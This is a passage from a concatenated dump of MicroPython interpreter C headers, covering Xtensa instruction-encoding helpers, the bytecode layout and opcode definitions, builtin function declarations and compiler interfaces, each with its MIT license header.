0xff)); } static inline void asm_xtensa_op_s32i_n(asm_xtensa_t *as, uint reg_src, uint reg_base, uint word_offset) { asm_xtensa_op16(as, ASM_XTENSA_ENCODE_RRRN(9, word_offset & 0xf, reg_base, reg_src)); } static inline void asm_xtensa_op_sll(asm_xtensa_t *as, uint reg_dest, uint reg_src) { asm_xtensa_op24(as, ASM_XTENSA_ENCODE_RRR(0, 1, 10, reg_dest, reg_src, 0)); } static inline void asm_xtensa_op_sra(asm_xtensa_t *as, uint reg_dest, uint reg_src) { asm_xtensa_op24(as, ASM_XTENSA_ENCODE_RRR(0, 1, 11, reg_dest, 0, reg_src)); } static inline void asm_xtensa_op_ssl(asm_xtensa_t *as, uint reg_src) { asm_xtensa_op24(as, ASM_XTENSA_ENCODE_RRR(0, 0, 4, 1, reg_src, 0)); } static inline void asm_xtensa_op_ssr(asm_xtensa_t *as, uint reg_src) { asm_xtensa_op24(as, ASM_XTENSA_ENCODE_RRR(0, 0, 4, 0, reg_src, 0)); } static inline void asm_xtensa_op_sub(asm_xtensa_t *as, uint reg_dest, uint reg_src_a, uint reg_src_b) { asm_xtensa_op24(as, ASM_XTENSA_ENCODE_RRR(0, 0, 12, reg_dest, reg_src_a, reg_src_b)); } static inline void asm_xtensa_op_xor(asm_xtensa_t *as, uint reg_dest, uint reg_src_a, uint reg_src_b) { asm_xtensa_op24(as, ASM_XTENSA_ENCODE_RRR(0, 0, 3, reg_dest, reg_src_a, reg_src_b)); } // convenience functions void asm_xtensa_j_label(asm_xtensa_t *as, uint label); void asm_xtensa_bccz_reg_label(asm_xtensa_t *as, uint cond, uint reg, uint label); void asm_xtensa_bcc_reg_reg_label(asm_xtensa_t *as, uint cond, uint reg1, uint reg2, uint label); void asm_xtensa_setcc_reg_reg_reg(asm_xtensa_t *as, uint cond, uint reg_dest, uint reg_src1, uint reg_src2); void asm_xtensa_mov_reg_i32(asm_xtensa_t *as, uint reg_dest, uint32_t i32); void asm_xtensa_mov_local_reg(asm_xtensa_t *as, int local_num, uint reg_src); void asm_xtensa_mov_reg_local(asm_xtensa_t *as, uint reg_dest, int local_num); void asm_xtensa_mov_reg_local_addr(asm_xtensa_t *as, uint reg_dest, int local_num); #if GENERIC_ASM_API // The following macros provide a (mostly) arch-independent API to // generate native code, and are used by the native emitter. #define ASM_WORD_SIZE (4) #define REG_RET ASM_XTENSA_REG_A2 #define REG_ARG_1 ASM_XTENSA_REG_A2 #define REG_ARG_2 ASM_XTENSA_REG_A3 #define REG_ARG_3 ASM_XTENSA_REG_A4 #define REG_ARG_4 ASM_XTENSA_REG_A5 #define REG_ARG_5 ASM_XTENSA_REG_A6 #define REG_TEMP0 ASM_XTENSA_REG_A2 #define REG_TEMP1 ASM_XTENSA_REG_A3 #define REG_TEMP2 ASM_XTENSA_REG_A4 #define REG_LOCAL_1 ASM_XTENSA_REG_A12 #define REG_LOCAL_2 ASM_XTENSA_REG_A13 #define REG_LOCAL_3 ASM_XTENSA_REG_A14 #define REG_LOCAL_NUM (3) #define ASM_T asm_xtensa_t #define ASM_END_PASS asm_xtensa_end_pass #define ASM_ENTRY asm_xtensa_entry #define ASM_EXIT asm_xtensa_exit #define ASM_JUMP asm_xtensa_j_label #define ASM_JUMP_IF_REG_ZERO(as, reg, label) \ asm_xtensa_bccz_reg_label(as, ASM_XTENSA_CCZ_EQ, reg, label) #define ASM_JUMP_IF_REG_NONZERO(as, reg, label) \ asm_xtensa_bccz_reg_label(as, ASM_XTENSA_CCZ_NE, reg, label) #define ASM_JUMP_IF_REG_EQ(as, reg1, reg2, label) \ asm_xtensa_bcc_reg_reg_label(as, ASM_XTENSA_CC_EQ, reg1, reg2, label) #define ASM_CALL_IND(as, ptr, idx) \ do { \ asm_xtensa_mov_reg_i32(as, ASM_XTENSA_REG_A0, (uint32_t)ptr); \ asm_xtensa_op_callx0(as, ASM_XTENSA_REG_A0); \ } while (0) #define ASM_MOV_REG_TO_LOCAL(as, reg, local_num) asm_xtensa_mov_local_reg(as, (local_num), (reg)) #define ASM_MOV_IMM_TO_REG(as, imm, reg) asm_xtensa_mov_reg_i32(as, (reg), (imm)) #define ASM_MOV_ALIGNED_IMM_TO_REG(as, imm, reg) asm_xtensa_mov_reg_i32(as, (reg), (imm)) #define ASM_MOV_IMM_TO_LOCAL_USING(as, imm, local_num, reg_temp) \ do { \ asm_xtensa_mov_reg_i32(as, (reg_temp), (imm)); \ asm_xtensa_mov_local_reg(as, (local_num), (reg_temp)); \ } while (0) #define ASM_MOV_LOCAL_TO_REG(as, local_num, reg) asm_xtensa_mov_reg_local(as, (reg), (local_num)) #define ASM_MOV_REG_REG(as, reg_dest, reg_src) asm_xtensa_op_mov_n((as), (reg_dest), (reg_src)) #define ASM_MOV_LOCAL_ADDR_TO_REG(as, local_num, reg) asm_xtensa_mov_reg_local_addr(as, (reg), (local_num)) #define ASM_LSL_REG_REG(as, reg_dest, reg_shift) \ do { \ asm_xtensa_op_ssl((as), (reg_shift)); \ asm_xtensa_op_sll((as), (reg_dest), (reg_dest)); \ } while (0) #define ASM_ASR_REG_REG(as, reg_dest, reg_shift) \ do { \ asm_xtensa_op_ssr((as), (reg_shift)); \ asm_xtensa_op_sra((as), (reg_dest), (reg_dest)); \ } while (0) #define ASM_OR_REG_REG(as, reg_dest, reg_src) asm_xtensa_op_or((as), (reg_dest), (reg_dest), (reg_src)) #define ASM_XOR_REG_REG(as, reg_dest, reg_src) asm_xtensa_op_xor((as), (reg_dest), (reg_dest), (reg_src)) #define ASM_AND_REG_REG(as, reg_dest, reg_src) asm_xtensa_op_and((as), (reg_dest), (reg_dest), (reg_src)) #define ASM_ADD_REG_REG(as, reg_dest, reg_src) asm_xtensa_op_add((as), (reg_dest), (reg_dest), (reg_src)) #define ASM_SUB_REG_REG(as, reg_dest, reg_src) asm_xtensa_op_sub((as), (reg_dest), (reg_dest), (reg_src)) #define ASM_MUL_REG_REG(as, reg_dest, reg_src) asm_xtensa_op_mull((as), (reg_dest), (reg_dest), (reg_src)) #define ASM_LOAD_REG_REG_OFFSET(as, reg_dest, reg_base, word_offset) asm_xtensa_op_l32i_n((as), (reg_dest), (reg_base), (word_offset)) #define ASM_LOAD8_REG_REG(as, reg_dest, reg_base) asm_xtensa_op_l8ui((as), (reg_dest), (reg_base), 0) #define ASM_LOAD16_REG_REG(as, reg_dest, reg_base) asm_xtensa_op_l16ui((as), (reg_dest), (reg_base), 0) #define ASM_LOAD32_REG_REG(as, reg_dest, reg_base) asm_xtensa_op_l32i_n((as), (reg_dest), (reg_base), 0) #define ASM_STORE_REG_REG_OFFSET(as, reg_dest, reg_base, word_offset) asm_xtensa_op_s32i_n((as), (reg_dest), (reg_base), (word_offset)) #define ASM_STORE8_REG_REG(as, reg_src, reg_base) asm_xtensa_op_s8i((as), (reg_src), (reg_base), 0) #define ASM_STORE16_REG_REG(as, reg_src, reg_base) asm_xtensa_op_s16i((as), (reg_src), (reg_base), 0) #define ASM_STORE32_REG_REG(as, reg_src, reg_base) asm_xtensa_op_s32i_n((as), (reg_src), (reg_base), 0) #endif // GENERIC_ASM_API #endif // MICROPY_INCLUDED_PY_ASMXTENSA_H ================================================ FILE: micropython/inc/py/bc.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_PY_BC_H #define MICROPY_INCLUDED_PY_BC_H #include "py/runtime.h" #include "py/obj.h" #include "py/objfun.h" // bytecode layout: // // n_state : var uint // n_exc_stack : var uint // scope_flags : byte // n_pos_args : byte number of arguments this function takes // n_kwonly_args : byte number of keyword-only arguments this function takes // n_def_pos_args : byte number of default positional arguments // // code_info_size : var uint | code_info_size counts bytes in this chunk // simple_name : var qstr | // source_file : var qstr | // | // | only needed if bytecode contains pointers // // local_num0 : byte | // ... : byte | // local_numN : byte | N = num_cells // 255 : byte | end of list sentinel // | // // // constant table layout: // // argname0 : obj (qstr) // ... : obj (qstr) // argnameN : obj (qstr) N = num_pos_args + num_kwonly_args // const0 : obj // constN : obj // Exception stack entry typedef struct _mp_exc_stack_t { const byte *handler; // bit 0 is saved currently_in_except_block value // bit 1 is whether the opcode was SETUP_WITH or SETUP_FINALLY mp_obj_t *val_sp; // Saved exception, valid if currently_in_except_block bit is 1 mp_obj_base_t *prev_exc; } mp_exc_stack_t; typedef struct _mp_code_state_t { // The fun_bc entry points to the underlying function object that is being executed. // It is needed to access the start of bytecode and the const_table. // It is also needed to prevent the GC from reclaiming the bytecode during execution, // because the ip pointer below will always point to the interior of the bytecode. mp_obj_fun_bc_t *fun_bc; const byte *ip; mp_obj_t *sp; // bit 0 is saved currently_in_except_block value mp_exc_stack_t *exc_sp; mp_obj_dict_t *old_globals; #if MICROPY_STACKLESS struct _mp_code_state_t *prev; #endif // Variable-length mp_obj_t state[0]; // Variable-length, never accessed by name, only as (void*)(state + n_state) //mp_exc_stack_t exc_state[0]; } mp_code_state_t; mp_uint_t mp_decode_uint(const byte **ptr); mp_uint_t mp_decode_uint_value(const byte *ptr); const byte *mp_decode_uint_skip(const byte *ptr); mp_vm_return_kind_t mp_execute_bytecode(mp_code_state_t *code_state, volatile mp_obj_t inject_exc); mp_code_state_t *mp_obj_fun_bc_prepare_codestate(mp_obj_t func, size_t n_args, size_t n_kw, const mp_obj_t *args); void mp_setup_code_state(mp_code_state_t *code_state, size_t n_args, size_t n_kw, const mp_obj_t *args); void mp_bytecode_print(const void *descr, const byte *code, mp_uint_t len, const mp_uint_t *const_table); void mp_bytecode_print2(const byte *code, size_t len, const mp_uint_t *const_table); const byte *mp_bytecode_print_str(const byte *ip); #define mp_bytecode_print_inst(code, const_table) mp_bytecode_print2(code, 1, const_table) // Helper macros to access pointer with least significant bits holding flags #define MP_TAGPTR_PTR(x) ((void*)((uintptr_t)(x) & ~((uintptr_t)3))) #define MP_TAGPTR_TAG0(x) ((uintptr_t)(x) & 1) #define MP_TAGPTR_TAG1(x) ((uintptr_t)(x) & 2) #define MP_TAGPTR_MAKE(ptr, tag) ((void*)((uintptr_t)(ptr) | (tag))) #if MICROPY_PERSISTENT_CODE_LOAD || MICROPY_PERSISTENT_CODE_SAVE #define MP_OPCODE_BYTE (0) #define MP_OPCODE_QSTR (1) #define MP_OPCODE_VAR_UINT (2) #define MP_OPCODE_OFFSET (3) uint mp_opcode_format(const byte *ip, size_t *opcode_size); #endif #endif // MICROPY_INCLUDED_PY_BC_H ================================================ FILE: micropython/inc/py/bc0.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_PY_BC0_H #define MICROPY_INCLUDED_PY_BC0_H // MicroPython byte-codes. // The comment at the end of the line (if it exists) tells the arguments to the byte-code. #define MP_BC_LOAD_CONST_FALSE (0x10) #define MP_BC_LOAD_CONST_NONE (0x11) #define MP_BC_LOAD_CONST_TRUE (0x12) #define MP_BC_LOAD_CONST_SMALL_INT (0x14) // signed var-int #define MP_BC_LOAD_CONST_STRING (0x16) // qstr #define MP_BC_LOAD_CONST_OBJ (0x17) // ptr #define MP_BC_LOAD_NULL (0x18) #define MP_BC_LOAD_FAST_N (0x19) // uint #define MP_BC_LOAD_DEREF (0x1a) // uint #define MP_BC_LOAD_NAME (0x1b) // qstr #define MP_BC_LOAD_GLOBAL (0x1c) // qstr #define MP_BC_LOAD_ATTR (0x1d) // qstr #define MP_BC_LOAD_METHOD (0x1e) // qstr #define MP_BC_LOAD_SUPER_METHOD (0x1f) // qstr #define MP_BC_LOAD_BUILD_CLASS (0x20) #define MP_BC_LOAD_SUBSCR (0x21) #define MP_BC_STORE_FAST_N (0x22) // uint #define MP_BC_STORE_DEREF (0x23) // uint #define MP_BC_STORE_NAME (0x24) // qstr #define MP_BC_STORE_GLOBAL (0x25) // qstr #define MP_BC_STORE_ATTR (0x26) // qstr #define MP_BC_STORE_SUBSCR (0x27) #define MP_BC_DELETE_FAST (0x28) // uint #define MP_BC_DELETE_DEREF (0x29) // uint #define MP_BC_DELETE_NAME (0x2a) // qstr #define MP_BC_DELETE_GLOBAL (0x2b) // qstr #define MP_BC_DUP_TOP (0x30) #define MP_BC_DUP_TOP_TWO (0x31) #define MP_BC_POP_TOP (0x32) #define MP_BC_ROT_TWO (0x33) #define MP_BC_ROT_THREE (0x34) #define MP_BC_JUMP (0x35) // rel byte code offset, 16-bit signed, in excess #define MP_BC_POP_JUMP_IF_TRUE (0x36) // rel byte code offset, 16-bit signed, in excess #define MP_BC_POP_JUMP_IF_FALSE (0x37) // rel byte code offset, 16-bit signed, in excess #define MP_BC_JUMP_IF_TRUE_OR_POP (0x38) // rel byte code offset, 16-bit signed, in excess #define MP_BC_JUMP_IF_FALSE_OR_POP (0x39) // rel byte code offset, 16-bit signed, in excess #define MP_BC_SETUP_WITH (0x3d) // rel byte code offset, 16-bit unsigned #define MP_BC_WITH_CLEANUP (0x3e) #define MP_BC_SETUP_EXCEPT (0x3f) // rel byte code offset, 16-bit unsigned #define MP_BC_SETUP_FINALLY (0x40) // rel byte code offset, 16-bit unsigned #define MP_BC_END_FINALLY (0x41) #define MP_BC_GET_ITER (0x42) #define MP_BC_FOR_ITER (0x43) // rel byte code offset, 16-bit unsigned #define MP_BC_POP_BLOCK (0x44) #define MP_BC_POP_EXCEPT (0x45) #define MP_BC_UNWIND_JUMP (0x46) // rel byte code offset, 16-bit signed, in excess; then a byte #define MP_BC_GET_ITER_STACK (0x47) #define MP_BC_BUILD_TUPLE (0x50) // uint #define MP_BC_BUILD_LIST (0x51) // uint #define MP_BC_BUILD_MAP (0x53) // uint #define MP_BC_STORE_MAP (0x54) #define MP_BC_BUILD_SET (0x56) // uint #define MP_BC_BUILD_SLICE (0x58) // uint #define MP_BC_STORE_COMP (0x57) // uint #define MP_BC_UNPACK_SEQUENCE (0x59) // uint #define MP_BC_UNPACK_EX (0x5a) // uint #define MP_BC_RETURN_VALUE (0x5b) #define MP_BC_RAISE_VARARGS (0x5c) // byte #define MP_BC_YIELD_VALUE (0x5d) #define MP_BC_YIELD_FROM (0x5e) #define MP_BC_MAKE_FUNCTION (0x60) // uint #define MP_BC_MAKE_FUNCTION_DEFARGS (0x61) // uint #define MP_BC_MAKE_CLOSURE (0x62) // uint #define MP_BC_MAKE_CLOSURE_DEFARGS (0x63) // uint #define MP_BC_CALL_FUNCTION (0x64) // uint #define MP_BC_CALL_FUNCTION_VAR_KW (0x65) // uint #define MP_BC_CALL_METHOD (0x66) // uint #define MP_BC_CALL_METHOD_VAR_KW (0x67) // uint #define MP_BC_IMPORT_NAME (0x68) // qstr #define MP_BC_IMPORT_FROM (0x69) // qstr #define MP_BC_IMPORT_STAR (0x6a) #define MP_BC_LOAD_CONST_SMALL_INT_MULTI (0x70) // + N(64) #define MP_BC_LOAD_FAST_MULTI (0xb0) // + N(16) #define MP_BC_STORE_FAST_MULTI (0xc0) // + N(16) #define MP_BC_UNARY_OP_MULTI (0xd0) // + op(7) #define MP_BC_BINARY_OP_MULTI (0xd7) // + op(36) #endif // MICROPY_INCLUDED_PY_BC0_H ================================================ FILE: micropython/inc/py/binary.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_PY_BINARY_H #define MICROPY_INCLUDED_PY_BINARY_H #include "py/obj.h" // Use special typecode to differentiate repr() of bytearray vs array.array('B') // (underlyingly they're same). Can't use 0 here because that's used to detect // type-specification errors due to end-of-string. #define BYTEARRAY_TYPECODE 1 size_t mp_binary_get_size(char struct_type, char val_type, mp_uint_t *palign); mp_obj_t mp_binary_get_val_array(char typecode, void *p, mp_uint_t index); void mp_binary_set_val_array(char typecode, void *p, mp_uint_t index, mp_obj_t val_in); void mp_binary_set_val_array_from_int(char typecode, void *p, mp_uint_t index, mp_int_t val); mp_obj_t mp_binary_get_val(char struct_type, char val_type, byte **ptr); void mp_binary_set_val(char struct_type, char val_type, mp_obj_t val_in, byte **ptr); long long mp_binary_get_int(mp_uint_t size, bool is_signed, bool big_endian, const byte *src); void mp_binary_set_int(mp_uint_t val_sz, bool big_endian, byte *dest, mp_uint_t val); #endif // MICROPY_INCLUDED_PY_BINARY_H ================================================ FILE: micropython/inc/py/builtin.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_PY_BUILTIN_H #define MICROPY_INCLUDED_PY_BUILTIN_H #include "py/obj.h" mp_obj_t mp_builtin___import__(size_t n_args, const mp_obj_t *args); mp_obj_t mp_builtin_open(size_t n_args, const mp_obj_t *args, mp_map_t *kwargs); mp_obj_t mp_micropython_mem_info(size_t n_args, const mp_obj_t *args); MP_DECLARE_CONST_FUN_OBJ_VAR(mp_builtin___build_class___obj); MP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(mp_builtin___import___obj); MP_DECLARE_CONST_FUN_OBJ_1(mp_builtin___repl_print___obj); MP_DECLARE_CONST_FUN_OBJ_1(mp_builtin_abs_obj); MP_DECLARE_CONST_FUN_OBJ_1(mp_builtin_all_obj); MP_DECLARE_CONST_FUN_OBJ_1(mp_builtin_any_obj); MP_DECLARE_CONST_FUN_OBJ_1(mp_builtin_bin_obj); MP_DECLARE_CONST_FUN_OBJ_1(mp_builtin_callable_obj); MP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(mp_builtin_compile_obj); MP_DECLARE_CONST_FUN_OBJ_1(mp_builtin_chr_obj); MP_DECLARE_CONST_FUN_OBJ_2(mp_builtin_delattr_obj); MP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(mp_builtin_dir_obj); MP_DECLARE_CONST_FUN_OBJ_2(mp_builtin_divmod_obj); MP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(mp_builtin_eval_obj); MP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(mp_builtin_exec_obj); MP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(mp_builtin_execfile_obj); MP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(mp_builtin_getattr_obj); MP_DECLARE_CONST_FUN_OBJ_3(mp_builtin_setattr_obj); MP_DECLARE_CONST_FUN_OBJ_0(mp_builtin_globals_obj); MP_DECLARE_CONST_FUN_OBJ_2(mp_builtin_hasattr_obj); MP_DECLARE_CONST_FUN_OBJ_1(mp_builtin_hash_obj); MP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(mp_builtin_help_obj); MP_DECLARE_CONST_FUN_OBJ_1(mp_builtin_hex_obj); MP_DECLARE_CONST_FUN_OBJ_1(mp_builtin_id_obj); MP_DECLARE_CONST_FUN_OBJ_2(mp_builtin_isinstance_obj); MP_DECLARE_CONST_FUN_OBJ_2(mp_builtin_issubclass_obj); MP_DECLARE_CONST_FUN_OBJ_1(mp_builtin_iter_obj); MP_DECLARE_CONST_FUN_OBJ_1(mp_builtin_len_obj); MP_DECLARE_CONST_FUN_OBJ_0(mp_builtin_locals_obj); MP_DECLARE_CONST_FUN_OBJ_KW(mp_builtin_max_obj); MP_DECLARE_CONST_FUN_OBJ_KW(mp_builtin_min_obj); MP_DECLARE_CONST_FUN_OBJ_1(mp_builtin_next_obj); MP_DECLARE_CONST_FUN_OBJ_1(mp_builtin_oct_obj); MP_DECLARE_CONST_FUN_OBJ_1(mp_builtin_ord_obj); MP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(mp_builtin_pow_obj); MP_DECLARE_CONST_FUN_OBJ_KW(mp_builtin_print_obj); MP_DECLARE_CONST_FUN_OBJ_1(mp_builtin_repr_obj); MP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(mp_builtin_round_obj); MP_DECLARE_CONST_FUN_OBJ_KW(mp_builtin_sorted_obj); MP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(mp_builtin_sum_obj); // Defined by a port, but declared here for simplicity MP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(mp_builtin_input_obj); MP_DECLARE_CONST_FUN_OBJ_KW(mp_builtin_open_obj); MP_DECLARE_CONST_FUN_OBJ_2(mp_namedtuple_obj); MP_DECLARE_CONST_FUN_OBJ_2(mp_op_contains_obj); MP_DECLARE_CONST_FUN_OBJ_2(mp_op_getitem_obj); MP_DECLARE_CONST_FUN_OBJ_3(mp_op_setitem_obj); MP_DECLARE_CONST_FUN_OBJ_2(mp_op_delitem_obj); extern const mp_obj_module_t mp_module___main__; extern const mp_obj_module_t mp_module_builtins; extern const mp_obj_module_t mp_module_array; extern const mp_obj_module_t mp_module_collections; extern const mp_obj_module_t mp_module_io; extern const mp_obj_module_t mp_module_math; extern const mp_obj_module_t mp_module_cmath; extern const mp_obj_module_t mp_module_micropython; extern const mp_obj_module_t mp_module_ustruct; extern const mp_obj_module_t mp_module_sys; extern const mp_obj_module_t mp_module_gc; extern const mp_obj_module_t mp_module_thread; extern const mp_obj_dict_t mp_module_builtins_globals; // extmod modules extern const mp_obj_module_t mp_module_uerrno; extern const mp_obj_module_t mp_module_uctypes; extern const mp_obj_module_t mp_module_uzlib; extern const mp_obj_module_t mp_module_ujson; extern const mp_obj_module_t mp_module_ure; extern const mp_obj_module_t mp_module_uheapq; extern const mp_obj_module_t mp_module_uhashlib; extern const mp_obj_module_t mp_module_ubinascii; extern const mp_obj_module_t mp_module_urandom; extern const mp_obj_module_t mp_module_uselect; extern const mp_obj_module_t mp_module_ussl; extern const mp_obj_module_t mp_module_utimeq; extern const mp_obj_module_t mp_module_machine; extern const mp_obj_module_t mp_module_lwip; extern const mp_obj_module_t mp_module_websocket; extern const mp_obj_module_t mp_module_webrepl; extern const mp_obj_module_t mp_module_framebuf; extern const mp_obj_module_t mp_module_btree; extern const char *MICROPY_PY_BUILTINS_HELP_TEXT; #endif // MICROPY_INCLUDED_PY_BUILTIN_H ================================================ FILE: micropython/inc/py/compile.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_PY_COMPILE_H #define MICROPY_INCLUDED_PY_COMPILE_H #include "py/lexer.h" #include "py/parse.h" #include "py/emitglue.h" // These must fit in 8 bits; see scope.h enum { MP_EMIT_OPT_NONE, MP_EMIT_OPT_BYTECODE, MP_EMIT_OPT_NATIVE_PYTHON, MP_EMIT_OPT_VIPER, MP_EMIT_OPT_ASM, }; // the compiler will raise an exception if an error occurred // the compiler will clear the parse tree before it returns mp_obj_t mp_compile(mp_parse_tree_t *parse_tree, qstr source_file, uint emit_opt, bool is_repl); #if MICROPY_PERSISTENT_CODE_SAVE // this has the same semantics as mp_compile mp_raw_code_t *mp_compile_to_raw_code(mp_parse_tree_t *parse_tree, qstr source_file, uint emit_opt, bool is_repl); #endif // this is implemented in runtime.c mp_obj_t mp_parse_compile_execute(mp_lexer_t *lex, mp_parse_input_kind_t parse_input_kind, mp_obj_dict_t *globals, mp_obj_dict_t *locals); #endif // MICROPY_INCLUDED_PY_COMPILE_H ================================================ FILE: micropython/inc/py/emit.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_PY_EMIT_H #define MICROPY_INCLUDED_PY_EMIT_H #include "py/lexer.h" #include "py/scope.h" #include "py/runtime0.h" /* Notes on passes: * We don't know exactly the opcodes in pass 1 because they depend on the * closing over of variables (LOAD_CLOSURE, BUILD_TUPLE, MAKE_CLOSURE), which * depends on determining the scope of variables in each function, and this * is not known until the end of pass 1. * As a consequence, we don't know the maximum stack size until the end of pass 2. * This is problematic for some emitters (x64) since they need to know the maximum * stack size to compile the entry to the function, and this affects code size. */ typedef enum { MP_PASS_SCOPE = 1, // work out id's and their kind, and number of labels 